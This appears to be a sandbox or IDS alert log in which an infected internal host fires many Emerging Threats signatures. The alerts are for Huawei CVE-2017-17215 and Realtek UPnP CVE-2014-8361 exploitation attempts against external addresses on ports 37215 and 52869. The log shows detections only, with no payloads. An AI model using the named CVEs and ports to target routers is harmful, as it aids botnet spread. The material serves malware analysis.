Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.183.144.227

Timestamp:	07/20/24-23:01:31.300663
SID:	2027339
Source Port:	43400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.192.98

Timestamp:	07/20/24-23:01:33.068258
SID:	2835222
Source Port:	44122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 167.127.222.117

Timestamp:	07/20/24-23:01:34.909156
SID:	2831300
Source Port:	41926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.149.96.221

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	32968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.64.229.9

Timestamp:	07/20/24-23:01:22.792727
SID:	2829579
Source Port:	49300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.167.172

Timestamp:	07/20/24-23:01:14.452336
SID:	2829579
Source Port:	58222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 98.85.112.187

Timestamp:	07/20/24-23:01:14.454899
SID:	2829579
Source Port:	60698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.232.153

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	52086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.233.217.6

Timestamp:	07/20/24-23:01:11.474688
SID:	2829579
Source Port:	58412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.204.104.96

Timestamp:	07/20/24-23:01:24.825430
SID:	2027339
Source Port:	59154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 108.207.129.253

Timestamp:	07/20/24-23:01:06.276912
SID:	2025132
Source Port:	50982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 82.44.225.133

Timestamp:	07/20/24-23:01:05.442608
SID:	2027339
Source Port:	57236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.141.84.47

Timestamp:	07/20/24-23:01:34.995513
SID:	2831300
Source Port:	38130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.186.186

Timestamp:	07/20/24-23:01:14.397142
SID:	2829579
Source Port:	52048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.88.19

Timestamp:	07/20/24-23:01:37.120678
SID:	2835222
Source Port:	33822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 221.40.188.74

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	53284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 5.108.28.159

Timestamp:	07/20/24-23:01:13.334387
SID:	2027339
Source Port:	50220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.120.151.234

Timestamp:	07/20/24-23:01:19.336582
SID:	2835222
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.35.100.147

Timestamp:	07/20/24-23:01:33.094838
SID:	2829579
Source Port:	40328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.140.90.49

Timestamp:	07/20/24-23:01:14.407392
SID:	2835222
Source Port:	44238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 77.70.6.175

Timestamp:	07/20/24-23:01:30.624909
SID:	2025132
Source Port:	46938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 146.126.33.191

Timestamp:	07/20/24-23:01:05.848041
SID:	2025132
Source Port:	51920
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.125.194.139

Timestamp:	07/20/24-23:01:11.483526
SID:	2829579
Source Port:	36886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 2.115.51.25

Timestamp:	07/20/24-23:01:13.332448
SID:	2027339
Source Port:	42074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 72.146.47.133

Timestamp:	07/20/24-23:01:13.332965
SID:	2831300
Source Port:	56824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.9.219.100

Timestamp:	07/20/24-23:01:29.514831
SID:	2027339
Source Port:	58376
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.17.244

Timestamp:	07/20/24-23:01:18.195561
SID:	2835222
Source Port:	39976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 163.83.107.67

Timestamp:	07/20/24-23:01:34.940229
SID:	2831300
Source Port:	48114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 137.171.174.123

Timestamp:	07/20/24-23:01:24.080444
SID:	2027339
Source Port:	46312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 104.41.121.72

Timestamp:	07/20/24-23:01:34.922465
SID:	2027339
Source Port:	33618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.36.190.232

Timestamp:	07/20/24-23:01:22.788405
SID:	2835222
Source Port:	56272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.94.206.239

Timestamp:	07/20/24-23:01:05.904128
SID:	2829579
Source Port:	46134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 196.159.190.117

Timestamp:	07/20/24-23:01:13.336391
SID:	2831300
Source Port:	49180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.111.29

Timestamp:	07/20/24-23:01:05.898214
SID:	2829579
Source Port:	42456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.224.18

Timestamp:	07/20/24-23:01:14.398477
SID:	2835222
Source Port:	57346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.32.209

Timestamp:	07/20/24-23:01:22.794319
SID:	2829579
Source Port:	54508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.183.8

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	41780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.220.250

Timestamp:	07/20/24-23:01:25.283565
SID:	2835222
Source Port:	48574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 61.27.5.72

Timestamp:	07/20/24-23:01:34.937254
SID:	2027339
Source Port:	57428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 168.236.58.106

Timestamp:	07/20/24-23:01:06.594899
SID:	2025132
Source Port:	53784
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.224.168.193

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	60442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 172.198.125.221

Timestamp:	07/20/24-23:01:25.018117
SID:	2025132
Source Port:	46050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.247.97.52

Timestamp:	07/20/24-23:01:05.558090
SID:	2025132
Source Port:	48856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 61.27.5.72

Timestamp:	07/20/24-23:01:34.937254
SID:	2831300
Source Port:	57428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 173.77.175.8

Timestamp:	07/20/24-23:01:13.333147
SID:	2831300
Source Port:	45196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.151.252

Timestamp:	07/20/24-23:01:14.397565
SID:	2829579
Source Port:	47688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.249.219.167

Timestamp:	07/20/24-23:01:14.398311
SID:	2835222
Source Port:	51372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.92.189.24

Timestamp:	07/20/24-23:01:02.409019
SID:	2829579
Source Port:	35070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 216.167.162.18

Timestamp:	07/20/24-23:01:29.169502
SID:	2027339
Source Port:	55954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 147.70.92.77

Timestamp:	07/20/24-23:01:21.298389
SID:	2831300
Source Port:	53156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 131.10.23.131

Timestamp:	07/20/24-23:01:33.056745
SID:	2835222
Source Port:	48204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.121.33

Timestamp:	07/20/24-23:01:07.674717
SID:	2829579
Source Port:	47860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.222.89.42

Timestamp:	07/20/24-23:01:25.231958
SID:	2829579
Source Port:	48604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.128.111.10

Timestamp:	07/20/24-23:01:28.211361
SID:	2835222
Source Port:	40848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 93.255.94.157

Timestamp:	07/20/24-23:01:13.331144
SID:	2027339
Source Port:	47558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.30.177

Timestamp:	07/20/24-23:01:37.199306
SID:	2829579
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.159.171.115

Timestamp:	07/20/24-23:01:14.431063
SID:	2829579
Source Port:	57606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 145.28.17.66

Timestamp:	07/20/24-23:01:31.287445
SID:	2025132
Source Port:	40132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.10.163.45

Timestamp:	07/20/24-23:01:37.208725
SID:	2835222
Source Port:	53182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 87.194.130.244

Timestamp:	07/20/24-23:01:07.680463
SID:	2829579
Source Port:	43242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.23.93.160

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	48994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 158.56.98.102

Timestamp:	07/20/24-23:01:34.919558
SID:	2831300
Source Port:	41714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.236.234.89

Timestamp:	07/20/24-23:01:37.191093
SID:	2829579
Source Port:	43604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.233.169.62

Timestamp:	07/20/24-23:01:02.411450
SID:	2835222
Source Port:	57302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 24.110.26.135

Timestamp:	07/20/24-23:01:34.927043
SID:	2027339
Source Port:	59426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 186.140.90.49

Timestamp:	07/20/24-23:01:14.407392
SID:	2829579
Source Port:	44238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 38.32.235.210

Timestamp:	07/20/24-23:01:13.334997
SID:	2027339
Source Port:	50684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.170.80

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	43756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.254.65.6

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	48158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 202.192.16.30

Timestamp:	07/20/24-23:01:11.472602
SID:	2829579
Source Port:	33866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 115.207.235.241

Timestamp:	07/20/24-23:01:32.779683
SID:	2025132
Source Port:	38948
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 174.134.90.178

Timestamp:	07/20/24-23:01:29.185354
SID:	2027339
Source Port:	55126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.24.238

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	41974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.76.31

Timestamp:	07/20/24-23:01:25.278504
SID:	2829579
Source Port:	56936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.10.137.209

Timestamp:	07/20/24-23:01:22.777004
SID:	2835222
Source Port:	47124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 206.110.55.66

Timestamp:	07/20/24-23:01:32.830980
SID:	2025132
Source Port:	46354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.145.104.63

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	44850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 47.67.168.49

Timestamp:	07/20/24-23:01:13.333147
SID:	2831300
Source Port:	45486
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 2.115.51.25

Timestamp:	07/20/24-23:01:06.191534
SID:	2025132
Source Port:	40850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 217.168.109.210

Timestamp:	07/20/24-23:01:25.295702
SID:	2027339
Source Port:	53774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.68.139.198

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	35134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.156.224.252

Timestamp:	07/20/24-23:01:33.037346
SID:	2829579
Source Port:	42072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 35.112.217.187

Timestamp:	07/20/24-23:01:13.336216
SID:	2831300
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.1.52

Timestamp:	07/20/24-23:01:19.334468
SID:	2835222
Source Port:	44764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 2.153.113.72

Timestamp:	07/20/24-23:01:24.746147
SID:	2025132
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 217.244.72.189

Timestamp:	07/20/24-23:01:13.332260
SID:	2831300
Source Port:	49224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.114.30

Timestamp:	07/20/24-23:01:11.478031
SID:	2835222
Source Port:	41290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.3.177

Timestamp:	07/20/24-23:01:14.398934
SID:	2835222
Source Port:	47220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 54.211.16.108

Timestamp:	07/20/24-23:01:24.078342
SID:	2831300
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 202.140.60.188

Timestamp:	07/20/24-23:01:05.553511
SID:	2025132
Source Port:	43344
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.175.194.100

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	37714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 174.109.179.10

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	38800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.120.0.113

Timestamp:	07/20/24-23:01:14.454899
SID:	2829579
Source Port:	49910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.86.159

Timestamp:	07/20/24-23:01:11.485692
SID:	2835222
Source Port:	32830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.210.199.43

Timestamp:	07/20/24-23:01:14.397565
SID:	2829579
Source Port:	51668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 8.8.142.240

Timestamp:	07/20/24-23:01:22.792913
SID:	2829579
Source Port:	53166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 163.83.107.67

Timestamp:	07/20/24-23:01:33.483598
SID:	2027339
Source Port:	46276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 199.150.19.53

Timestamp:	07/20/24-23:01:02.412914
SID:	2829579
Source Port:	50604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.231.147

Timestamp:	07/20/24-23:01:25.230393
SID:	2835222
Source Port:	49454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 190.101.187.66

Timestamp:	07/20/24-23:01:29.170915
SID:	2027339
Source Port:	53242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 79.199.66.178

Timestamp:	07/20/24-23:01:13.334997
SID:	2027339
Source Port:	52994
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

